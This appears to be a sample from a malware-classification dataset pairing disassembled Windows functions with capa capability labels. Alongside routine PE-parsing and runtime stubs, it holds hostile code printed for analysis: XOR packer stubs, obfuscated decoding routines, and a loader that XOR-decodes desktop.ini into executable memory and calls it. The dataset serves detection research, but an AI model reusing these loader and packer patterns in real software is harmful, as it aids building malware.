joyce8/EMBER2024-capa huggingface dataset:
Function at 0x51dea0
Capabilities:
Terminate process

Disassembly:
test byte [0x5cc2e8], 0x20
jne 0x51debe
vmovq xmm0, xmm0
vcvttpd2qq xmm0, xmm0
vmovd eax, xmm0
vpextrd edx, xmm0, 1
ret
mov ecx, esp
add esp, 0xfffffff8
and esp, 0xfffffff8
movsd qword [esp], xmm0
mov eax, dword [esp]
mov edx, dword [esp + 4]
mov esp, ecx
btr edx, 0x1f
sbb ecx, ecx
cmp edx, 0x41e00000
jae 0x51df1e
cvttsd2si eax, xmm0
cdq
ret
mov ecx, edx
bts edx, 0x14
shr ecx, 0x14
and edx, 0x1fffff
sub ecx, 0x433
jge 0x51df18
neg ecx
push ebx
xor ebx, ebx
shrd ebx, eax, cl
je 0x51df11
cvttss2si ebx, dword [0x532bec]
pop ebx
shrd eax, edx, cl
shr edx, cl
ret
shld edx, eax, cl
shl eax, cl
ret
cmp edx, 0x43e00000
jae 0x51df37
test ecx, ecx
je 0x51dee8
call 0x51dee8
neg eax
adc edx, 0
neg edx
ret
jecxz 0x51df3f
ja 0x51df3f
test eax, eax
je 0x51df47
cvttss2si ecx, dword [0x532be8]
mov edx, SysReAllocStringLen
xor eax, eax
ret

Function at 0x51e623
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x51e662
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x51e662
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x51e662
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x51e662
cmp dword [ecx + 0x74], 0xe
jbe 0x51e662
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x52adc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x52aded
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x52aded
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x60
push 0x71f1fc
call fcn.0040121c
mov edi, 0x94
mov eax, edi
call fcn.004011dc
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x71f1fc], ecx
mov eax, dword [esi + 4]
mov dword [0x71f200], eax
mov edx, dword [esi + 8]
mov dword [0x71f204], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x71f208], esi
cmp ecx, 2
je 0x401060
or esi, 0x8000
mov dword [0x71f20c], esi
shl eax, 8
add eax, edx
mov dword [0x71f1fc], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40109b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40109b
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4010b3
cmp eax, 0x20b
je 0x4010a0
mov dword [ebp - 0x1c], esi
jmp 0x4010c7
cmp dword [ecx + 0x84], 0xe
jbe 0x40109b
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x4010c1
cmp dword [ecx + 0x74], 0xe
jbe 0x40109b
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00401224
pop ecx
test eax, eax
jne 0x4010f3
cmp dword [0x71f1fc], 1
jne 0x4010e0
call fcn.00401224
push 0x1c
call fcn.00401224
push 0xff
call fcn.00401224
pop ecx
pop ecx
call fcn.00401224
mov dword [ebp - 4], esi
call fcn.00401224
test eax, eax
jge 0x40110c
push 0x1b
call fcn.00401224
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x71f1fc], eax
call fcn.00401224
mov dword [0x71f200], eax
call fcn.00401224
test eax, eax
jge 0x401132
push 8
call fcn.00401224
pop ecx
call fcn.00401224
test eax, eax
jge 0x401143
push 9
call fcn.00401224
pop ecx
push 1
call fcn.00401224
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x401159
push eax
call fcn.00401224
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00401224
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x40117a
movzx eax, word [ebp - 0x40]
jmp 0x40117d
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00401228
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x40119b
push edi
call fcn.00401220
call fcn.00401224
jmp 0x4011cd
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00401224
ret

Function at 0x401228
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push esi
push edi
push ebx
lea eax, [ebp - 4]
push eax
push 0x40
push 0x293000
push section..rdata
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401252
push 0x48d154
jmp 0x40125e
pop ebx
pop edi
pop esi
leave
ret 0x14
ret
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427004]
jne 0x401010
repz ret
jmp fcn.0040161b

Function at 0x407cd6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404e6b
and dword [ebp - 4], 0
cmp dword [0x429184], 0
mov ebx, eax
jne 0x407d87
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407e38
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407e38
push eax
call fcn.00404df9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429184], eax
call esi
push eax
call fcn.00404df9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x429188], eax
call esi
push eax
call fcn.00404df9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42918c], eax
call esi
push eax
call fcn.00404df9
pop ecx
mov dword [0x429194], eax
test eax, eax
je 0x407d87
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404df9
pop ecx
mov dword [0x429190], eax
mov eax, dword [0x429190]
cmp eax, ebx
je 0x407ddf
cmp dword [0x429194], ebx
je 0x407ddf
push eax
call fcn.00404e74
push dword [0x429194]
mov esi, eax
call fcn.00404e74
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407ddf
test edi, edi
je 0x407ddf
call esi
test eax, eax
je 0x407dd6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407dd6
test byte [ebp - 0xc], 1
jne 0x407ddf
or dword [ebp + 0x10], 0x200000
jmp 0x407e18
mov eax, dword [0x429188]
cmp eax, ebx
je 0x407e18
push eax
call fcn.00404e74
pop ecx
test eax, eax
je 0x407e18
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407e18
mov eax, dword [0x42918c]
cmp eax, ebx
je 0x407e18
push eax
call fcn.00404e74
pop ecx
test eax, eax
je 0x407e18
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429184]
call fcn.00404e74
pop ecx
test eax, eax
je 0x407e38
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407e3a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40570c
Capabilities:
Delete file
Enumerate gui resources
Manipulate console buffer
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.00406ad0
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x405809
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 8], edx
cmp dword [0x4ebd94], 0x5d
jne 0x4057f1
push esi
lea eax, [ebp - 0x424]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push esi
lea eax, [ebp - 0x824]
push eax
push 0x401270
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push esi
push 0x40127c
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push esi
push esi
push esi
push 0x4012b8
push 0x4012d8
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x401310
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push esi
lea eax, [ebp - 0x1024]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.00405569
add ebx, 8
dec dword [ebp - 8]
jne 0x40572e
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x4063eb
Capabilities:
Get file attributes

Disassembly:
mov eax, dword [0x41c7ac]
sub esp, 0x800
push esi
push edi
mov dword [0x4ebd94], eax
mov eax, 0xb2d3b
add dword [0x4ebd94], eax
push 0x6e
pop eax
push 0x33
mov word [0x4b091e], ax
pop eax
push 0x2e
mov word [0x4b0924], ax
xor eax, eax
mov word [0x4b0930], ax
pop eax
push 0x6b
mov word [0x4b0928], ax
pop eax
push 0x6c
mov word [0x4b0918], ax
pop eax
push 0x64
mov word [0x4b092c], ax
pop eax
push 0x6c
mov word [0x4b092a], ax
pop eax
push 0x32
mov word [0x4b092e], ax
mov word [0x4b0922], ax
pop eax
push 0x65
mov word [0x4b0926], ax
pop eax
push 0x72
mov word [0x4b091a], ax
mov word [0x4b0920], ax
pop eax
mov word [0x4b091c], ax
call fcn.00405a3b
mov edi, 0x184cc
xor esi, esi
cmp dword [0x4ebd94], 0x1833b
jne 0x4064d3
push esi
lea eax, [esp + 0xc]
push eax
push 0x401400
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x401430
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
dec edi
jne 0x406482
mov eax, dword [0x4b0864]
mov dword [0x4b090c], eax
call eax
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10

Function at 0x40779b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ae050]
jne 0x4077a5
repz ret
jmp fcn.0040d88b
Function at 0x412ad3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409cd7
and dword [ebp - 4], 0
cmp dword [0x4ec78c], 0
mov ebx, eax
jne 0x412b84
push 0x4048d0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x412c35
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4048c4
push edi
call esi
test eax, eax
je 0x412c35
push eax
call fcn.00409c65
mov dword [esp], 0x4048b4
push edi
mov dword [0x4ec78c], eax
call esi
push eax
call fcn.00409c65
mov dword [esp], 0x4048a0
push edi
mov dword [0x4ec790], eax
call esi
push eax
call fcn.00409c65
mov dword [esp], 0x404884
push edi
mov dword [0x4ec794], eax
call esi
push eax
call fcn.00409c65
pop ecx
mov dword [0x4ec79c], eax
test eax, eax
je 0x412b84
push 0x40486c
push edi
call esi
push eax
call fcn.00409c65
pop ecx
mov dword [0x4ec798], eax
mov eax, dword [0x4ec798]
cmp eax, ebx
je 0x412bdc
cmp dword [0x4ec79c], ebx
je 0x412bdc
push eax
call fcn.00409ce0
push dword [0x4ec79c]
mov esi, eax
call fcn.00409ce0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x412bdc
test edi, edi
je 0x412bdc
call esi
test eax, eax
je 0x412bd3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x412bd3
test byte [ebp - 0xc], 1
jne 0x412bdc
or dword [ebp + 0x10], 0x200000
jmp 0x412c15
mov eax, dword [0x4ec790]
cmp eax, ebx
je 0x412c15
push eax
call fcn.00409ce0
pop ecx
test eax, eax
je 0x412c15
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x412c15
mov eax, dword [0x4ec794]
cmp eax, ebx
je 0x412c15
push eax
call fcn.00409ce0
pop ecx
test eax, eax
je 0x412c15
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4ec78c]
call fcn.00409ce0
pop ecx
test eax, eax
je 0x412c35
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x412c37
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x5735f6a
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x78ac72ed
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10011680
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x100116be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x100116b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x100116c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x100116a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10011790
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x100117c1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100117c1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x100117c1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1001b1ac
Capabilities:
Encode data using xor

Disassembly:
call 0x1001b125
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1001b155
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1001b171
xor edx, 0
jmp 0x1001b17c
xor edx, edx
jmp 0x1001b193
jmp 0x1001b19f
xor eax, eax
push 0x8427d7c0
call 0x1001b1ac
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1001b1e8
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1001b1c1
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1001b1ff
add eax, 0
jno 0x1001b204
add esi, 0
ret 0x10
Function at 0x1001bf6d
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1001bf8f
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1001c131
cmp edi, dword [ebp + 0x10]
jb 0x1001c131
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1001ba59
inc edi
jmp 0x1001c018
jmp 0x1001c025
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1001ba59
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1001ba59
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1001c079
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1001c05d
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1001c0a7
add dword [eax], 0x39
jle 0x1001c083
sub al, 0xf5
mov ch, al
call fcn.1001c0bc
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1001dd94
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1001ddaa
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1001ddbb
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1001ddfc
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x10020168
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100200b1
add ebx, 0
push ecx
call 0x100200c6
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x738ad16f
sub ebx, dword [0x738cc9ae]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x738cc99e
call fcn.1001bb90
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1001b09e
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x10020224
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x10020224
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100201db
mov eax, 1
lock xchg dword [0x738cc9aa], eax
push 0x3dd1fc71
call 0x10020168
push esi
add esp, 8
cmp eax, 0
jne 0x10020151
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x10020177
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1002018c
cmp ecx, edx
cmp eax, 0
je 0x100201b1
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1002019b
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100201ca
dec eax
loope 0x100201cd
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x738cc9aa], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x10020201
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x10020216
jmp 0x10020221
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1002010f